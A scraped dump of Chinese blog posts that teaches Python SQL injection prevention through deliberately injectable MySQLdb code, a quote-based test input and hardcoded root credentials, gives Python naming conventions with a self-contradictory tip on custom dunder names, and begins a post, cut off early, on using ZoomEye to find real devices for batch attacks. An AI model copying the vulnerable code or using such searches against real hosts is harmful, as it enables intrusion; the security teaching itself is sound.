\u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Python \u4e2d\u5982\u4f55\u9632\u6b62sql\u6ce8\u5165"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-02-15, 3:55 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tweb\u6f0f\u6d1e\u4e4b\u9996\u83ab\u8fc7\u4e8esql\u4e86\uff0c\u4e0d\u7ba1\u4f7f\u7528\u54ea\u79cd\u8bed\u8a00\u8fdb\u884cweb\u540e\u7aef\u5f00\u53d1\uff0c\u53ea\u8981\u4f7f\u7528\u4e86\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff0c\u53ef\u80fd\u90fd\u4f1a\u9047\u5230sql\u6ce8\u5165\u653b\u51fb\u95ee\u9898\u3002\u90a3\u4e48\u5728Python web\u5f00\u53d1\u7684\u8fc7\u7a0b\u4e2dsql\u6ce8\u5165\u662f\u600e\u4e48\u51fa\u73b0\u7684\u5462\uff0c\u53c8\u662f\u600e\u4e48\u53bb\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684\uff1f\r\n</p>\r\n<p>\r\n\t\u5f53\u7136\uff0c\u6211\u8fd9\u91cc\u5e76\u4e0d\u60f3\u8ba8\u8bba\u5176\u4ed6\u8bed\u8a00\u662f\u5982\u4f55\u907f\u514dsql\u6ce8\u5165\u7684\uff0c\u7f51\u4e0a\u5173\u4e8ePHP\uff08\u535a\u4e3b\u6ce8\uff1a\u636e\u8bf4\u662f\u4e16\u754c\u4e0a\u6700\u5c4c\u7684\u8bed\u8a00\uff09\u9632\u6ce8\u5165\u7684\u5404\u79cd\u65b9\u6cd5\u90fd\u6709\uff0cPython\u7684\u65b9\u6cd5\u5176\u5b9e\u7c7b\u4f3c\uff0c\u8fd9\u91cc\u6211\u5c31\u4e3e\u4f8b\u6765\u8bf4\u8bf4\u3002\r\n</p>\r\n<h2>\r\n\t\u8d77\u56e0\r\n</h2>\r\n<p>\r\n\t\u6f0f\u6d1e\u4ea7\u751f\u7684\u539f\u56e0\u6700\u5e38\u89c1\u7684\u5c31\u662f\u5b57\u7b26\u4e32\u62fc\u63a5\u4e86\uff0c\u5f53\u7136\uff0csql\u6ce8\u5165\u5e76\u4e0d\u53ea\u662f\u62fc\u63a5\u4e00\u79cd\u60c5\u51b5\uff0c\u8fd8\u6709\u50cf\u5bbd\u5b57\u8282\u6ce8\u5165\uff0c\u7279\u6b8a\u5b57\u7b26\u8f6c\u4e49\u7b49\u7b49\u5f88\u591a\u79cd\uff0c\u8fd9\u91cc\u5c31\u8bf4\u8bf4\u6700\u5e38\u89c1\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u8fd9\u4e5f\u662f\u521d\u7ea7\u7a0b\u5e8f\u5458\u6700\u5bb9\u6613\u72af\u7684\u9519\u8bef\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u54b1\u4eec\u5b9a\u4e49\u4e00\u4e2a\u7c7b\u6765\u5904\u7406mysql\u7684\u64cd\u4f5c\r\n</p>\r\n<pre class=\"brush:py;\">class Database:\r\n aurl = '127.0.0.1'\r\n user = 'root'\r\n password = 'root'\r\n db = 'testdb'\r\n charset = 'utf8'\r\n\r\n def __init__(self):\r\n self.connection = MySQLdb.connect(self.aurl, self.user, self.password, self.db, charset=self.charset)\r\n self.cursor = self.connection.cursor()\r\n\r\n def insert(self, query):\r\n try:\r\n self.cursor.execute(query)\r\n self.connection.commit()\r\n except Exception, e:\r\n print e\r\n self.connection.rollback()\r\n\r\n def query(self, query):\r\n cursor = self.connection.cursor(MySQLdb.cursors.DictCursor)\r\n cursor.execute(query)\r\n return cursor.fetchall()\r\n\r\n def __del__(self):\r\n self.connection.close()</pre>\r\n\u8fd9\u6bb5\u4ee3\u7801\u5728\u6211\u4e4b\u524d\u5f88\u591a\u811a\u672c\u91cc\u9762\u90fd\u4f1a\u770b\u89c1\uff0c\u6d89\u53ca\u5230Python\u64cd\u4f5cmysql\u6570\u636e\u5e93\u7684\u811a\u672c\u6211\u90fd\u4f1a\u5199\u8fdb\u53bb\u8fd9\u4e2a\u7c7b\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7c7b\u6709\u95ee\u9898\u5417\uff1f\r\n<p>\r\n\t\u7b54\u6848\u662f\uff1a\u6709\uff01\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2a\u7c7b\u662f\u6709\u7f3a\u9677\u7684\uff0c\u5f88\u5bb9\u6613\u9020\u6210sql\u6ce8\u5165\uff0c\u4e0b\u9762\u5c31\u8bf4\u8bf4\u4e3a\u4f55\u4f1a\u4ea7\u751fsql\u6ce8\u5165\u3002\r\n</p>\r\n<p>\r\n\t\u4e3a\u4e86\u9a8c\u8bc1\u95ee\u9898\u7684\u771f\u5b9e\u6027\uff0c\u8fd9\u91cc\u5c31\u5199\u4e00\u4e2a\u65b9\u6cd5\u6765\u8c03\u7528\u4e0a\u9762\u7684\u90a3\u4e2a\u7c7b\u91cc\u9762\u7684\u65b9\u6cd5\uff0c\u5982\u679c\u51fa\u73b0\u9519\u8bef\u4f1a\u76f4\u63a5\u629b\u51fa\u5f02\u5e38\u3002\r\n</p>\r\n<pre class=\"brush:py;\">def test_query(articleurl):\r\n mysql = Database()\r\n try:\r\n querySql = \"SELECT * FROM `article` WHERE url='\" + articleurl + \"'\"\r\n chanels = mysql.query(querySql)\r\n return chanels\r\n except Exception, e:\r\n print e</pre>\r\n<p>\r\n\t\u8fd9\u4e2a\u65b9\u6cd5\u975e\u5e38\u7b80\u5355\uff0c\u4e00\u4e2a\u6700\u5e38\u89c1\u7684select\u67e5\u8be2\u8bed\u53e5\uff0c\u4e5f\u4f7f\u7528\u4e86\u6700\u7b80\u5355\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\u7ec4\u6210sql\u8bed\u53e5\uff0c\u5f88\u660e\u663e\u4f20\u5165\u7684\u53c2\u6570 articleurl \u53ef\u63a7\uff0c\u8981\u60f3\u8fdb\u884c\u6ce8\u5165\u6d4b\u8bd5\uff0c\u53ea\u9700\u8981\u5728articleurl\u7684\u503c\u540e\u9762\u52a0\u4e0a\u5355\u5f15\u53f7\u5373\u53ef\u8fdb\u884csql\u6ce8\u5165\u6d4b\u8bd5\uff0c\u8fd9\u4e2a\u4e0d\u591a\u8bf4\uff0c\u80af\u5b9a\u662f\u5b58\u5728\u6ce8\u5165\u6f0f\u6d1e\u7684\uff0c\u811a\u672c\u8dd1\u4e00\u904d\uff0c\u770b\u5565\u7ed3\u679c\r\n</p>\r\n<pre class=\"brush:bash;\">(1064, \"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''t.tips''' at line 1\")</pre>\r\n\u56de\u663e\u62a5\u9519\uff0c\u5f88\u773c\u719f\u7684\u9519\u8bef\uff0c\u8fd9\u91cc\u6211\u4f20\u5165\u7684\u6d4b\u8bd5\u53c2\u6570\u662f\r\n<pre class=\"brush:py;\">t.tips'</pre>\r\n\u4e0b\u9762\u518d\u8bf4\u4e00\u79cd\u5bfc\u81f4\u6ce8\u5165\u7684\u60c5\u51b5\uff0c\u5bf9\u4e0a\u9762\u7684\u65b9\u6cd5\u8fdb\u884c\u7a0d\u5fae\u4fee\u6539\u540e\r\n<pre class=\"brush:py;\">def test_query(articleurl):\r\n mysql = Database()\r\n try:\r\n querySql = (\"SELECT * FROM `article` WHERE url='%s'\" % articleurl)\r\n chanels = mysql.query(querySql)\r\n return chanels\r\n except Exception, e:\r\n print e</pre>\r\n\u8fd9\u4e2a\u65b9\u6cd5\u91cc\u9762\u6ca1\u6709\u76f4\u63a5\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u800c\u662f\u4f7f\u7528\u4e86 %s \u6765\u4ee3\u66ff\u8981\u4f20\u5165\u7684\u53c2\u6570\uff0c\u770b\u8d77\u6765\u662f\u4e0d\u662f\u975e\u5e38\u50cf\u9884\u7f16\u8bd1\u7684sql\uff1f\u90a3\u8fd9\u79cd\u5199\u6cd5\u80fd\u4e0d\u80fd\u9632\u6b62sql\u6ce8\u5165\u5462\uff1f\u6d4b\u8bd5\u4e00\u4e0b\u4fbf\u77e5\u9053\uff0c\u56de\u663e\u5982\u4e0b\r\n<pre class=\"brush:bash;\">(1064, \"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''t.tips''' at line 1\")</pre>\r\n\u548c\u4e0a\u9762\u7684\u6d4b\u8bd5\u7ed3\u679c\u4e00\u6837\uff0c\u6240\u4ee5\u8fd9\u79cd\u65b9\u6cd5\u4e5f\u662f\u4e0d\u884c\u7684\uff0c\u800c\u4e14\u8fd9\u79cd\u65b9\u6cd5\u5e76\u4e0d\u662f\u9884\u7f16\u8bd1sql\u8bed\u53e5\uff0c\u90a3\u4e48\u600e\u4e48\u505a\u624d\u80fd\u9632\u6b62sql\u6ce8\u5165\u5462\uff1f\r\n<h2>\r\n\t\u89e3\u51b3<br>\r\n</h2>\r\n<h3>\r\n\t\u4e24\u79cd\u65b9\u6848\r\n</h3>\r\n<p>\r\n\t1> \u5bf9\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u7f16\u7801\u8f6c\u4e49\r\n</p>\r\n<p>\r\n\t2> \u4f7f\u7528Python\u7684MySQLdb\u6a21\u5757\u81ea\u5e26\u7684\u65b9\u6cd5\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u79cd\u65b9\u6848\u5176\u5b9e\u5728\u5f88\u591aPHP\u7684\u9632\u6ce8\u5165\u65b9\u6cd5\u91cc\u9762\u90fd\u6709\uff0c\u5bf9\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49\u6216\u8005\u8fc7\u6ee4\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e8c\u79cd\u65b9\u6848\u5c31\u662f\u4f7f\u7528\u5185\u90e8\u65b9\u6cd5\uff0c\u7c7b\u4f3c\u4e8ePHP\u91cc\u9762\u7684PDO\uff0c\u8fd9\u91cc\u5bf9\u4e0a\u9762\u7684\u6570\u636e\u5e93\u7c7b\u8fdb\u884c\u7b80\u5355\u7684\u4fee\u6539\u5373\u53ef\u3002\r\n</p>\r\n<p>\r\n\t\u4fee\u6539\u540e\u7684\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:py;\">class Database:\r\n aurl = '127.0.0.1'\r\n user = 'root'\r\n password = 'root'\r\n db = 'testdb'\r\n charset = 'utf8'\r\n\r\n def __init__(self):\r\n self.connection = MySQLdb.connect(self.aurl, self.user, self.password, self.db, charset=self.charset)\r\n self.cursor = self.connection.cursor()\r\n\r\n def insert(self, query, params):\r\n try:\r\n self.cursor.execute(query, params)\r\n self.connection.commit()\r\n except Exception, e:\r\n print e\r\n self.connection.rollback()\r\n\r\n def query(self, query, params):\r\n cursor = self.connection.cursor(MySQLdb.cursors.DictCursor)\r\n cursor.execute(query, params)\r\n return cursor.fetchall()\r\n\r\n def __del__(self):\r\n self.connection.close()</pre>\r\n<p>\r\n\t\u8fd9\u91cc execute \u6267\u884c\u7684\u65f6\u5019\u4f20\u5165\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f\u53c2\u6570\u5316\u7684sql\u8bed\u53e5\uff0c\u7b2c\u4e8c\u4e2a\u662f\u5bf9\u5e94\u7684\u5b9e\u9645\u7684\u53c2\u6570\u503c\uff0c\u51fd\u6570\u5185\u90e8\u4f1a\u5bf9\u4f20\u5165\u7684\u53c2\u6570\u503c\u8fdb\u884c\u76f8\u5e94\u7684\u5904\u7406\u9632\u6b62sql\u6ce8\u5165\uff0c\u5b9e\u9645\u4f7f\u7528\u7684\u65b9\u6cd5\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">preUpdateSql = \"UPDATE `article` SET title=%s,date=%s,mainbody=%s WHERE id=%s\"\r\nmysql.insert(preUpdateSql, [title, date, content, aid])</pre>\r\n<p>\r\n\t\u8fd9\u6837\u5c31\u53ef\u4ee5\u9632\u6b62sql\u6ce8\u5165\uff0c\u4f20\u5165\u4e00\u4e2a\u5217\u8868\u4e4b\u540e\uff0cMySQLdb\u6a21\u5757\u5185\u90e8\u4f1a\u5c06\u5217\u8868\u5e8f\u5217\u5316\u6210\u4e00\u4e2a\u5143\u7ec4\uff0c\u7136\u540e\u8fdb\u884cescape\u64cd\u4f5c\u3002\r\n</p>\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u6211\u4e4b\u524d\u7684\u4e00\u4e9b\u811a\u672c\u4e2d\u4f7f\u7528\u4e86\u5b58\u5728sql\u6ce8\u5165\u6f0f\u6d1e\u7684\u4ee3\u7801\u4f1a\u6162\u6162\u6539\u8fc7\u6765....\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23438 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5f00\u53d1\u4e2d\u7684\u547d\u540d\u89c4\u8303\u4e4bPython"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-02-15, 11:47 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u8d44\u6e90\u5171\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u6587\u7ae0\u6765\u6e90\r\n</h2>\r\n<p>\r\n\thttp://www.cnblogs.com/wangcp-2014/p/4608265.html\r\n</p>\r\n<h3>\r\n\t\u6587\u4ef6\u540d\r\n</h3>\r\n\u5168\u5c0f\u5199,\u53ef\u4f7f\u7528\u4e0b\u5212\u7ebf<br>\r\n<h3>\r\n\t\u5305\r\n</h3>\r\n\u5e94\u8be5\u662f\u7b80\u77ed\u7684\u3001\u5c0f\u5199\u7684\u540d\u5b57\u3002\u5982\u679c\u4e0b\u5212\u7ebf\u53ef\u4ee5\u6539\u5584\u53ef\u8bfb\u6027\u53ef\u4ee5\u52a0\u5165\u3002\u5982mypackage\u3002<br>\r\n<h3>\r\n\t\u6a21\u5757\r\n</h3>\r\n\u4e0e\u5305\u7684\u89c4\u8303\u540c\u3002\u5982mymodule\u3002<br>\r\n<h3>\r\n\t\u7c7b\r\n</h3>\r\n\u603b\u662f\u4f7f\u7528\u9996\u5b57\u6bcd\u5927\u5199\u5355\u8bcd\u4e32\u3002\u5982MyClass\u3002\u5185\u90e8\u7c7b\u53ef\u4ee5\u4f7f\u7528\u989d\u5916\u7684\u524d\u5bfc\u4e0b\u5212\u7ebf\u3002<br>\r\n<h3>\r\n\t\u51fd\u6570&\u65b9\u6cd5\r\n</h3>\r\n\u51fd\u6570\u540d\u5e94\u8be5\u4e3a\u5c0f\u5199\uff0c\u53ef\u4ee5\u7528\u4e0b\u5212\u7ebf\u98ce\u683c\u5355\u8bcd\u4ee5\u589e\u52a0\u53ef\u8bfb\u6027\u3002\u5982\uff1amyfunction\uff0cmy_example_function\u3002<br>\r\n*\u6ce8\u610f*\uff1a\u6df7\u5408\u5927\u5c0f\u5199\u4ec5\u88ab\u5141\u8bb8\u7528\u4e8e\u8fd9\u79cd\u98ce\u683c\u5df2\u7ecf\u5360\u636e\u4f18\u52bf\u7684\u65f6\u5019\uff0c\u4ee5\u4fbf\u4fdd\u6301\u5411\u540e\u517c\u5bb9\u3002<br>\r\n<h3>\r\n\t\u51fd\u6570\u548c\u65b9\u6cd5\u7684\u53c2\u6570\r\n</h3>\r\n\u603b\u4f7f\u7528\u201cself\u201d\u4f5c\u4e3a\u5b9e\u4f8b\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u3002\u603b\u4f7f\u7528\u201ccls\u201d\u4f5c\u4e3a\u7c7b\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u3002<br>\r\n\u5982\u679c\u4e00\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u540d\u79f0\u548c\u4fdd\u7559\u7684\u5173\u952e\u5b57\u51b2\u7a81\uff0c\u901a\u5e38\u4f7f\u7528\u4e00\u4e2a\u540e\u7f00\u4e0b\u5212\u7ebf\u597d\u4e8e\u4f7f\u7528\u7f29\u5199\u6216\u5947\u602a\u7684\u62fc\u5199\u3002<br>\r\n<h3>\r\n\t\u5168\u5c40\u53d8\u91cf\r\n</h3>\r\n\u5bf9\u4e8efrom M import *\u5bfc\u5165\u8bed\u53e5\uff0c\u5982\u679c\u60f3\u963b\u6b62\u5bfc\u5165\u6a21\u5757\u5185\u7684\u5168\u5c40\u53d8\u91cf\u53ef\u4ee5\u4f7f\u7528\u65e7\u6709\u7684\u89c4\u8303\uff0c\u5728\u5168\u5c40\u53d8\u91cf\u4e0a\u52a0\u4e00\u4e2a\u524d\u5bfc\u7684\u4e0b\u5212\u7ebf\u3002<br>\r\n*\u6ce8\u610f*:\u5e94\u907f\u514d\u4f7f\u7528\u5168\u5c40\u53d8\u91cf<br>\r\n<h3>\r\n\t\u53d8\u91cf\r\n</h3>\r\n\u53d8\u91cf\u540d\u5168\u90e8\u5c0f\u5199\uff0c\u7531\u4e0b\u5212\u7ebf\u8fde\u63a5\u5404\u4e2a\u5355\u8bcd\u3002\u5982color = WHITE\uff0cthis_is_a_variable = 1<br>\r\n*\u6ce8\u610f*\uff1a<br>\r\n1.\u4e0d\u8bba\u662f\u7c7b\u6210\u5458\u53d8\u91cf\u8fd8\u662f\u5168\u5c40\u53d8\u91cf\uff0c\u5747\u4e0d\u4f7f\u7528 m \u6216 g \u524d\u7f00\u3002<br>\r\n2.\u79c1\u6709\u7c7b\u6210\u5458\u4f7f\u7528\u5355\u4e00\u4e0b\u5212\u7ebf\u524d\u7f00\u6807\u8bc6\uff0c\u591a\u5b9a\u4e49\u516c\u5f00\u6210\u5458\uff0c\u5c11\u5b9a\u4e49\u79c1\u6709\u6210\u5458\u3002<br>\r\n3.\u53d8\u91cf\u540d\u4e0d\u5e94\u5e26\u6709\u7c7b\u578b\u4fe1\u606f\uff0c\u56e0\u4e3aPython\u662f\u52a8\u6001\u7c7b\u578b\u8bed\u8a00\u3002\u5982 iValue\u3001names_list\u3001dict_obj \u7b49\u90fd\u662f\u4e0d\u597d\u7684\u547d\u540d\u3002<br>\r\n<h3>\r\n\t\u5e38\u91cf\r\n</h3>\r\n\u5e38\u91cf\u540d\u6240\u6709\u5b57\u6bcd\u5927\u5199\uff0c\u7531\u4e0b\u5212\u7ebf\u8fde\u63a5\u5404\u4e2a\u5355\u8bcd\u5982MAX_OVERFLOW\uff0cTOTAL\u3002<br>\r\n<h3>\r\n\t\u5f02\u5e38\r\n</h3>\r\n\u4ee5\u201cError\u201d\u4f5c\u4e3a\u540e\u7f00\u3002<br>\r\n<h3>\r\n\t\u7f29\u5199\r\n</h3>\r\n\u547d\u540d\u5e94\u5f53\u5c3d\u91cf\u4f7f\u7528\u5168\u62fc\u5199\u7684\u5355\u8bcd\uff0c\u7f29\u5199\u7684\u60c5\u51b5\u6709\u5982\u4e0b\u4e24\u79cd\uff1a<br>\r\n1.\u5e38\u7528\u7684\u7f29\u5199\uff0c\u5982XML\u3001ID\u7b49\uff0c\u5728\u547d\u540d\u65f6\u4e5f\u5e94\u53ea\u5927\u5199\u9996\u5b57\u6bcd\uff0c\u5982XmlParser\u3002<br>\r\n2.\u547d\u540d\u4e2d\u542b\u6709\u957f\u5355\u8bcd\uff0c\u5bf9\u67d0\u4e2a\u5355\u8bcd\u8fdb\u884c\u7f29\u5199\u3002\u8fd9\u65f6\u5e94\u4f7f\u7528\u7ea6\u5b9a\u6210\u4fd7\u7684\u7f29\u5199\u65b9\u5f0f\u3002<br>\r\n\u4f8b\u5982\uff1a<br>\r\nfunction \u7f29\u5199\u4e3a fn<br>\r\ntext \u7f29\u5199\u4e3a txt<br>\r\nobject \u7f29\u5199\u4e3a obj<br>\r\ncount \u7f29\u5199\u4e3a cnt<br>\r\nnumber \u7f29\u5199\u4e3a num\uff0c\u7b49\u3002<br>\r\n\u524d\u5bfc\u540e\u7f00\u4e0b\u5212\u7ebf<br>\r\n\u4e00\u4e2a\u524d\u5bfc\u4e0b\u5212\u7ebf\uff1a\u8868\u793a\u975e\u516c\u6709\u3002<br>\r\n\u4e00\u4e2a\u540e\u7f00\u4e0b\u5212\u7ebf\uff1a\u907f\u514d\u5173\u952e\u5b57\u51b2\u7a81\u3002<br>\r\n\u4e24\u4e2a\u524d\u5bfc\u4e0b\u5212\u7ebf\uff1a\u5f53\u547d\u540d\u4e00\u4e2a\u7c7b\u5c5e\u6027\u5f15\u8d77\u540d\u79f0\u51b2\u7a81\u65f6\u4f7f\u7528\u3002<br>\r\n\u4e24\u4e2a\u524d\u5bfc\u548c\u540e\u7f00\u4e0b\u5212\u7ebf\uff1a\u201c\u9b54\u201d\uff08\u6709\u7279\u6b8a\u7528\u56fe\uff09\u5bf9\u8c61\u6216\u8005\u5c5e\u6027\uff0c\u4f8b\u5982__init__\u6216\u8005__file__\u3002\u7edd\u5bf9\u4e0d\u8981\u521b\u9020\u8fd9\u6837\u7684\u540d\u5b57\uff0c\u800c\u53ea\u662f\u4f7f\u7528\u5b83\u4eec\u3002<br>\r\n*\u6ce8\u610f*\uff1a\u5173\u4e8e\u4e0b\u5212\u7ebf\u7684\u4f7f\u7528\u5b58\u5728\u4e00\u4e9b\u4e89\u8bae\u3002<br>\r\n<h3>\r\n\t\u7279\u5b9a\u547d\u540d\u65b9\u5f0f\r\n</h3>\r\n\u4e3b\u8981\u662f\u6307 __xxx__ \u5f62\u5f0f\u7684\u7cfb\u7edf\u4fdd\u7559\u5b57\u547d\u540d\u6cd5\u3002\u9879\u76ee\u4e2d\u4e5f\u53ef\u4ee5\u4f7f\u7528\u8fd9\u79cd\u547d\u540d\uff0c\u5b83\u7684\u610f\u4e49\u5728\u4e8e\u8fd9\u79cd\u5f62\u5f0f\u7684\u53d8\u91cf\u662f\u53ea\u8bfb\u7684\uff0c\u8fd9\u79cd\u5f62\u5f0f\u7684\u7c7b\u6210\u5458\u51fd\u6570\u5c3d\u91cf\u4e0d\u8981\u91cd\u8f7d\u3002\u5982<br>\r\nclass Base(object):<br>\r\ndef __init__(self, id, parent = None):<br>\r\nself.__id__ = id<br>\r\nself.__parent__ = parent<br>\r\ndef __message__(self, msgid):<br>\r\n# \u2026\u7565<br>\r\n\u5176\u4e2d __id__\u3001__parent__ \u548c __message__ \u90fd\u91c7\u7528\u4e86\u7cfb\u7edf\u4fdd\u7559\u5b57\u547d\u540d\u6cd5\u3002<br>\r\n\u9644:Google Python\u547d\u540d\u89c4\u8303<br>\r\nmodule_name, package_name, ClassName, method_name, ExceptionName, function_name, GLOBAL_VAR_NAME, instance_var_name, function_parameter_name, local_var_name<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23437 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528ZoomEye\u6279\u91cf\u5feb\u901f\u653b\u51fb\u76ee\u6807"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-02-10, 4:52 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u201c<a href=\"https://www.92ez.com/?action=article&tag=zoomeye\" onclick=\"javascript:tagshow('zoomeye');return false;\">zoomeye</a> \u662f\u4e00\u4e2a\u9488\u5bf9\u7f51\u7edc\u7a7a\u95f4\u7684\u641c\u7d22\u5f15\u64ce\u201d\u8fd9\u662fZoomEye\u5b98\u65b9\uff08\u77e5\u9053\u521b\u4e8e\u5b89\u5168\u5b9e\u9a8c\u5ba4\uff09\u7ed9\u4e88\u7684\u5b9a\u4e49\uff0c\u5176\u529f\u80fd\u4e0eshodan.io\u7c7b\u4f3c\uff0c\u4f46\u5176\u5404\u81ea\u7684\u4fa7\u91cd\u70b9\u53c8\u6709\u6240\u4e0d\u540c\u3002\u4e4b\u524d\u6211\u5199\u8fc7\u4e00\u7bc7\u5173\u4e8eshodan\u7684\u6587\u7ae0\uff0c\u4f20\u9001\u95e8\u201c<a href=\"http://www.92ez.com/?action=show&id=23396\" target=\"_blank\">\u4f7f\u7528shodan\u7684api\uff08Python\uff09</a>\u201d\uff0c\u90a3\u65f6\u5019ZoomEye\u7684\u529f\u80fd\u8fd8\u76f8\u5f53\u7b80\u6d01\uff0c\u7ecf\u8fc72\u5e74\u7684\u53d1\u5c55\uff0c\u5176\u641c\u7d22\u6df1\u5ea6\u4ee5\u53ca\u6570\u636e\u91cf\u5df2\u7ecf\u5ab2\u7f8eshodan.io\r\n</p>\r\n<h2>\r\n\t\u573a\u666f\r\n</h2>\r\n<p>\r\n\t\u5f53\u4f60\u624b\u4e0a\u5df2\u7ecf\u6709\u67d0\u4e2a\u8bbe\u5907\u7684\u6f0f\u6d1e\u5229\u7528\u65b9\u6cd5\uff0c\u4f46\u662f\u65e0\u6cd5\u627e\u5230\u5927\u91cf\u7684\u5b9e\u9645\u6848\u4f8b\uff0c\u8fd9\u4e2a\u65f6\u5019\u7ed3\u5408ZoomEye\u5c31\u80fd\u5feb\u901f\u68c0\u7d22\u51fa\u6765\u5b9e\u9645\u5b58\u5728\u7684\u76ee\u6807\uff0c\u7f16\u5199\u81ea\u52a8\u5316\u653b\u51fb\u811a\u672c\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u6279\u91cf\u653b\u51fb\u6d4b\u8bd5\u3002\r\n</p>\r\